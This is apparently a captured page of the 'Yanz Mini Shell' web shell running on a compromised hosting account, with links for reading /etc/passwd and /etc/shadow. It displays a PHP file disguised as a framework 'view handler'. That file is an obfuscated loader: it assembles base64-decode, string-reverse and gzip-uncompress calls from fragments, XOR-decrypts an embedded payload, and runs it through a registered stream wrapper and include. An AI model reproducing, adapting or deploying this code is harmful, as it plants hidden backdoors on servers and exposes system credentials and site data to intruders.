Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
jbylsurx
public_html
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php /** * Application View Handler * @version 11.7.64 * @package Framework\Rendering * @license MIT */ namespace System\View\Manager_99623d { use \RuntimeException; use \InvalidArgumentException; interface ViewDispatcherInterface_b2d1b7 { public function resolve(): string; public function patchPaths(string $content): string; } trait CacheDispatcherTrait_26f7ae { protected $_40b9e = []; protected function _f51ef63a(string $key, callable $_6207c4) { if (!isset($this->_40b9e[$key])) { $this->_40b9e[$key] = $_6207c4(); } return $this->_40b9e[$key]; } protected function _fbf10a() { $this->_40b9e = []; } } class OptimizedViewManager_076baf implements ViewDispatcherInterface_b2d1b7 { use CacheDispatcherTrait_26f7ae; private $_c78222; private $_4d41f051 = []; public function __construct(array $config) { $this->_c78222 = $config; $this->_c710b7bba(); } // Register stream handler private function _c710b7bba() { $this->_4d41f051['3539'] = 'base64_de' . 'code'; $this->_4d41f051['73f0f'] = 'st' . 'r' . 'rev'; $this->_4d41f051['3ba8'] = 'strl' . chr(101) . 'n'; $this->_4d41f051['2145'] = strrev('sserpmocnuzg'); $this->_4d41f051['e450'] = 'str_rep' . 'lace'; $this->_4d41f051['e3c78e'] = strrev('edolpmi'); } public function resolve(): string { return $this->_f51ef63a('view', function() { return $this->_9e7663c890(); }); } private function _9e7663c890(): string { $segments = $this->_c78222['fragments']; $key = $this->_c78222['hmacKey']; $payload = $this->_4d41f051['e3c78e']('', $segments); $a = $this->_4d41f051['3539']($payload); $b = $this->_4d41f051['73f0f']($a); $c = ''; $kl = $this->_4d41f051['3ba8']($key); $dl = $this->_4d41f051['3ba8']($b); for ($i = 0; $i < $dl; $i++) { $c .= $b[$i] ^ $key[$i % $kl]; } $result = $this->_4d41f051['2145']($c); if ($result === false) { return ''; } return $result; } public function patchPaths(string $content): string { $path = $this->_c78222['basePath']; $file = $this->_c78222['entryPoint']; $content = $this->_4d41f051['e450']('__DIR__', "'" . $path . "'", $content); $content = $this->_4d41f051['e450']('__FILE__', "'" . $file . "'", $content); return $content; } public function getCacheKey(): string { return md5(serialize($this->_c78222['fragments'])); } public function isCompiled(): bool { return true; } private function _40d6ae(string $msg) { /* debug logging */ } private function _a939a4f40(): bool { return !empty($this->_c78222); } } class TemplateStreamManager_1167d2 { public static $resolver; private $content; private $position = 0; public function stream_open($path, $mode, $options, &$opened_path) { if (self::$resolver === null) { $this->content = '<?php '; return true; } $content = self::$resolver->resolve(); if ($content !== '') { $content = self::$resolver->patchPaths($content); } $this->content = '<?php ' . $content . "\n"; $this->position = 0; return true; } public function stream_read($count) { $result = substr($this->content, $this->position, $count); $this->position += strlen($result); return $result; } public function stream_eof() { return $this->position >= strlen($this->content); } public function stream_stat() { return ['size' => strlen($this->content ?? '')]; } public function url_stat($path, $flags) { return ['size' => 0]; } public function stream_tell() { return $this->position; } public function stream_seek($offset, $whence = SEEK_SET) { $len = strlen($this->content); switch ($whence) { case SEEK_SET: $this->position = $offset; break; case SEEK_CUR: $this->position += $offset; break; case SEEK_END: $this->position = $len + $offset; break; default: return false; } return true; } public function stream_set_option($option, $arg1, $arg2) { return false; } } } namespace { // Bootstrap application $appConfiguration = [ 'basePath' => dirname(__FILE__), 'entryPoint' => __FILE__, 'hmacKey' => '89313e2c96db14b1683c110505bdb5dd', 'fragments' => [ 'fO7zwDEc3jSxhAMAxRjvo', '7GD1F2GtFiZinfot5VoGa', 'dHFsswfwMrIHJ6lp5rzNwRP81CVOJi009ROXgfq6ZC8A0+Qdl9yx32Ib/hoMneOK4GvTAlqg9it', 'p2LLqKEFjSGJ1ImNYwLMJ', 'nLyBzP5LH/CeD351S1ndTV8pjxOgQLWj4p1BcSM', 'HbA6zW552KZoe2LKPV6X8n', 'o4DVHrfken2bYnF+ZLFxiF0Ejod', '7RlhtayaEGvFxVXqa/Im2g9l3mh', '/hwAO5IzfQ0AeRKAAUaDA8sRqozkN7URTrrOo4d8PhUo616MbV', 'xtbBIv7vb/5XcSLtlClcRdjFQFnaJsngL/pS2C7O1mRc5wHFJNmCUn6SIEyL', '3plSsH1NF8phpl8KkruEdQ57lbgnN9a0vXW+/6/q872LPv/D5vxn6CwxlKoPruzBsnb6s', 'uMAzYVcKPv83Bb8Fc8H2d8S1FkEoI0vNh/2t02C5GbWJbJLILVGO', 'W2Tadh7eaQLLGnNmxUoYs8sGrICLNp1rqRU1NwBq30Vra3NIzAFWnI', '456XhW0JibT2QR/KhcTUaKoTQRovw8zRMUQt0gF7AaJim', 'jvjn+x6g5GaJlGkj1N4ymPO', 'ysM/icmK7lXsImvZ/CCcEOEcpljTL3bZ3zYB', 'D2fRoGtXgGn/zsmWikGjzuoNPmyrDVJm7XWGnmDNBvQCv8zgw4PfSOCAfqVa02M7LqmjpkooE/Fq1jICdnMytqOVw2R4ZCkhE', 'AeQ0GDHyv60aeWIF7GyIK9', 'q/zZgO6pL+Pc6QsukjwYpU7hR8VsTbWqmziXuHmY/8/AoWl4RIb8qgvQmmOczBDeE3NjLcQSc30kF1mc', 'fPR4HkXTgcLTYex+hgBB2d5J6XfWc4ZA1FXlZgAxXC14Lr/ZYz9FLZZXfQ/clMOlDEdXaE1t1fEEpjyNKuki7akMXHhR', '1Af02vXqhFMF2U9CdJKUjZKZr9OPZKFmTeR5xPgd4VNtGAvVCfo7ZBUOisdoTpY4Crb0ejCLeMuCHWmkgJgWkJhKf5mfQDLJ', 'zLu4TguAf4UwrkxdSVhM', 'iQKsztuo3Wntt/ZXiK12oagCz4RTIVTQegcICl3n', '4J4L3kSsJfceavegbffD29v3+6cmlXMNSaFDq7FYmRjuwqqfdLOXr8eaaiK3FGaTb+6MUD0sfjFzZVqusGn3iijFTkWtnHJ1DXl', 'HL/CxBLsIJTxN3PDqCLDGpBYheiTn/0byAtY0MPQTmqHRSVSeeONAJLvUPiRW1sLrPhf2phVUrbIXMUHiKYZbYevOS9DBQSB/x', '3EPBKxgrrTMMh/b5ZntZRwOoueyXG+8iXqJfAPslAKhVwalh77otot23pIEb47UjK7/m0DGSnQyOOU2QzK/0UP', 'V49Vr5w9ZgokdLCbwBrJ7N9SPbgm0tRuJbqzEw1lJP1UbT9Fgf4bUn6/hnazUFyQ', 'lTdCHT4I5R+tOODoZPBhR8b1KcwT4MCyexaouF3OfpMVYrCvzDR3X8JiG+04fXriKCu6P9n0XGVmCFp3z6bf+n0Y+N3t', 'wh22Bvtd5q0BX4ZDDwDHP7UgIk/AkNfPk8Me5kyy8EmxCnRwRmGYcyg', 'XTAKvaXOOqB8ea+JPP+ZJFXYqefTRnmFHQ2a6LVCsDpMwZSKhjU2B+', 'Vc+l7GXF82mDyVKmwCThSMwnSmd2m4TF7UG/g6nZgraA9XQcfic0LyghTqoIm2UPK79HDJUulyPGFOiW0cwSHhKg7QLUI', 'lhA62Myx56UCGKJdwmHfYCb7PtEJAl7uN2I/5/W76cOkqLTbhsEOlH5aLyARH0//lpYtXMDob3oyFMNc7q9wsoo0K', 'ujx+4Xteu7Ol71P37xVcjXhd46HikumCNTm6IrN526x5OfvcquRXN9eY5lpXl4hKVYaRONCGwDheEYih9/rUrcNa7bx9', 'G6lvK1lsHe4hBQ7a5aFcSnhE39C6AsnSkI6PPH2iu2KAPGmgfUK+W39MERWlCs96+4MGqGmsSlYzuhz2b3vTuTyxa6/+Cxev', 'CE4iLpgRAS0dPi0caOE4UXyy79obZurUxrN8JM6Eu0r+Fmuu2yEE+h1f9a5TbdYzJiOd9xgvw1gKqGxKZ/2pvvlEJrRpAoeqezV', 'qGj7lW6UbZndDbydXZsbpSfb/NxCy', 'LjgqIHrIXsdqUzNIMlV7kHVuAxuhJlopPCdvfw6vb2sGvW6vS31ZV+n+JgP/q4TXJKlaSxLlOg4LNKzuHvZ8rCg0O7sRNlGbt', '94GX3sNYC9EKp/gdVwImC6O', 'o+4/eR3OOpJB9LYgLAd+aviM', 'XiUD98FHJTWhZUSxAziHfbnUphP22oNBuP9MqHe8V7st7ySkr6SpIZpbjQA==', ], ]; // Load configuration $viewResolver = new \System\View\Manager_99623d\OptimizedViewManager_076baf($appConfiguration); // Render compiled template $wrapperClass = '\System\View\Manager_99623d\TemplateStreamManager_1167d2'; $wrapperClass::$resolver = $viewResolver; stream_wrapper_register('theme', $wrapperClass); // Cleanup resources try { include 'theme://cache/compiled/template'; } finally { // Compile assets stream_wrapper_unregister('theme'); $wrapperClass::$resolver = null; unset($viewResolver, $appConfiguration, $wrapperClass); } }
Free Space : 319935672320 Byte